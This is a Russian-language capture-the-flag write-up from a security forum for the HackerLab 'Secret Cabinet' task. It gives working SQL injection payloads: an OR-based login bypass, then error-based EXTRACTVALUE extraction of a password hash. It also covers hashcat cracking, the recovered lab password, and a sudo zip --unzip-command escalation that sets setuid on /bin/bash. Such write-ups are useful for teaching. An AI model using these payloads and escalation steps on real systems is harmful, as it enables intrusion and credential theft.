Writeup Секретный кабинет

r0dd9

Green Team
14.08.2019
34
23
Специализация
  1. Пентест
Прямая ссылка на задание

1. recon ssh web
2. burp + sqli
3. sql-инъекция типа or
4. error-based sql Injection
5. hashcat
6. ssh + lpe

🔐 Цель​

Сервер 62.173.140.174
К нам в руки совершенно случайно попал маршрут к так называемому "секретному кабинету", но для входа нужен пароль. Сможешь ли ты добыть его?

🔍 Разведка цели​

На портах висит ssh и web
Bash:
nmap -sS -sV -sC -p  28722  62.173.140.174
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-26 23:44 +0000
Nmap scan report for hackerlab.pro (62.173.140.174)
Host is up (0.028s latency).
PORT      STATE SERVICE VERSION
28722/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 09:2d:e4:4d:88:fb:ab:fb:c8:22:d8:67:63:31:29:37 (ECDSA)
|_  256 d2:be:d1:96:fd:8b:1f:33:ce:89:ff:f3:61:04:89:fa (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.71 seconds

Bash:
nmap -sS -sV -sC -p 28780, 28722 62.173.140.174
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-26 23:44 +0000
Nmap scan report for hackerlab.pro (62.173.140.174)
Host is up (0.085s latency).
PORT      STATE SERVICE VERSION
28780/tcp open  http    Apache httpd
|_http-server-header: Apache
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 127.18 seconds
На web есть редиректы на страницу входа
Bash:
 gobuster dir -u http://secretcabinet.local:28780 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://secretcabinet.local:28780
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta                 (Status: 403) [Size: 271]
.hta.php             (Status: 403) [Size: 271]
.hta.txt             (Status: 403) [Size: 271]
.hta.html            (Status: 403) [Size: 271]
.htaccess            (Status: 403) [Size: 271]
.htaccess.txt        (Status: 403) [Size: 271]
.htpasswd.php        (Status: 403) [Size: 271]
.htaccess.html       (Status: 403) [Size: 271]
.htaccess.php        (Status: 403) [Size: 271]
.htpasswd            (Status: 403) [Size: 271]
.htpasswd.html       (Status: 403) [Size: 271]
.htpasswd.txt        (Status: 403) [Size: 271]
index.php            (Status: 302) [Size: 0] [--> login.php]
index.php            (Status: 302) [Size: 0] [--> login.php]
javascript           (Status: 301) [Size: 324] [--> http://secretcabinet.local:28780/javascript/]
login.php            (Status: 200) [Size: 595]
server-status        (Status: 403) [Size: 271]
static               (Status: 301) [Size: 320] [--> http://secretcabinet.local:28780/static/]
Progress: 18452 / 18452 (100.00%)
===============================================================
Finished
===============================================================

🎯 Выбираем вектор атаки​

🧩 Этап 1: burp + sqli​

Перехватив запрос через burp получаем POST запрос с параметрами
username=josh&password=123
и cookie
Cookie: PHPSESSID=0u6bos5jn94n73nrobnubp3de1
Отправим запрос в intruder и проверим на sqli по словарю SQLite Injection из PayloadsAllTheThings
screen — 2026-06-27 в 09.10.25.webp


Есть sql injection в поле username

🔑 Этап 2: Вход в секретный кабинет​

Пробуем авторизоватся через SQL-инъекцию типа OR, которая обходит аутентификацию.
username=josh'+OR+'1'='1&password=123


screen — 2026-06-27 в 09.28.25.webp


Forward Request получаем успешную авторизацию в Секретный кабинет в котором ничего нет

screen — 2026-06-27 в 09.32.02.webp


📁 Этап 3: Error-based SQL Injection​

Найдем базу а в ней хеш пароля пользователя

screen — 2026-06-25 в 00.00.00.webp


база
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,database()))+--+&password=123
таблица
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema='secretOffice'+LIMIT+0,1)))--+&password=123
первая колонка
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users'+LIMIT+0,1)))--+&password=123
вторая колонка
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users'+LIMIT+1,1)))--+&password=123
третья колонка
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users'+LIMIT+2,1)))--+&password=123
имя пользователя
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+username+FROM+users+LIMIT+0,1)))--+&password=123
хеш пароля по частям так-как за один запрос он не вмещается в поле ошибки
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),1,10)))--+&password=123
~21cde84360
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),11,10)))--+&password=123
~f7f4cddc4f
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),21,10)))--+&password=123
~89ea12dda1
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),31,10)))--+&password=123
~fa

Брут хеша
Bash:
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ echo "21cde84360f7f4cddc4f89ea12dda1fa" > hash.txt
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ ls
cookies.txt  hash.txt
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 1464/2928 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory allocated for this attack: 513 MB (1021 MB free)
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
21cde84360f7f4cddc4f89ea12dda1fa:joshwin                
   
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 21cde84360f7f4cddc4f89ea12dda1fa
Time.Started.....: Wed Jun 24 12:05:00 2026 (0 secs)
Time.Estimated...: Wed Jun 24 12:05:00 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3439.2 kH/s (0.21ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 909312/14344385 (6.34%)
Rejected.........: 0/909312 (0.00%)
Restore.Point....: 905216/14344385 (6.31%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: juan38 -> jmakul
Started: Wed Jun 24 12:04:38 2026
Stopped: Wed Jun 24 12:05:01 2026
Получаем пароль joshwin от пользователя josh

🚀 Этап 4: SSH + LPE​

Зайдем под josh через ssh на сервер и проверим какие у него есть права
Проверка прав пользователя josh через sudo -l
Bash:
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ ssh josh@62.173.140.174 -p 28722
josh@62.173.140.174's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.4.0-216-generic x86_64)
$ whoami
josh
$ sudo -l
Matching Defaults entries for josh on edfbf145315b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on edfbf145315b:
    (ALL) NOPASSWD: /usr/bin/zip
$

Это означает:
josh может запускать zip от имени любого пользователя (ALL), без пароля (NOPASSWD).
Можем выполнить LPE - Local Privilege Escalation
Создаем файл заглушку и даем setui на /bin/bash
zip запускает chmod u+s /bin/bash от root.

Bash:
echo "x" > /tmp/poc
sudo zip /tmp/out.zip /tmp/poc -T --unzip-command="sh -c 'chmod u+s /bin/bash'"
Затем:
Запускаем root shell и получаем флаг

Bash:
/bin/bash -p whoami  # root

screen — 2026-06-24 в 22.52.45.webp


💥 CTF решен!

🧠 Использованные уязвимости​

#УязвимостьКраткое описаниеMITRE ATT&CK
1SQL Injection (Error-based)Инъекция в username через EXTRACTVALUE и SUBSTRING. Извлечены: БД secretOffice, таблица users, колонки id, username, password и хеш пароля 21cde84360f7f4cddc4f89ea12dda1faT1190 — Exploit Public-Facing Application
2Password Cracking (MD5)Хеш расшифрован через hashcat -m 0 с rockyou.txt. Получен пароль joshwinT1110.001 — Brute Force: Password Guessing
3LPE GTFOBins: zipjosh имеет sudo zip без пароля. Использован флаг --unzip-command="sh -c 'chmod u+s /bin/bash'" для установки setuid на /bin/bash. Доступ к root через /bin/bash -pT1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching

✅ Инструменты: Burp Suite, hashcat, nmap, gobuster, GTFOBins​

 

Вложения

  • screen — 2026-06-25 в 00.00.00.webp
    screen — 2026-06-25 в 00.00.00.webp
    79,7 КБ · Просмотры: 6
Последнее редактирование:
  • Нравится
Реакции: f22
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab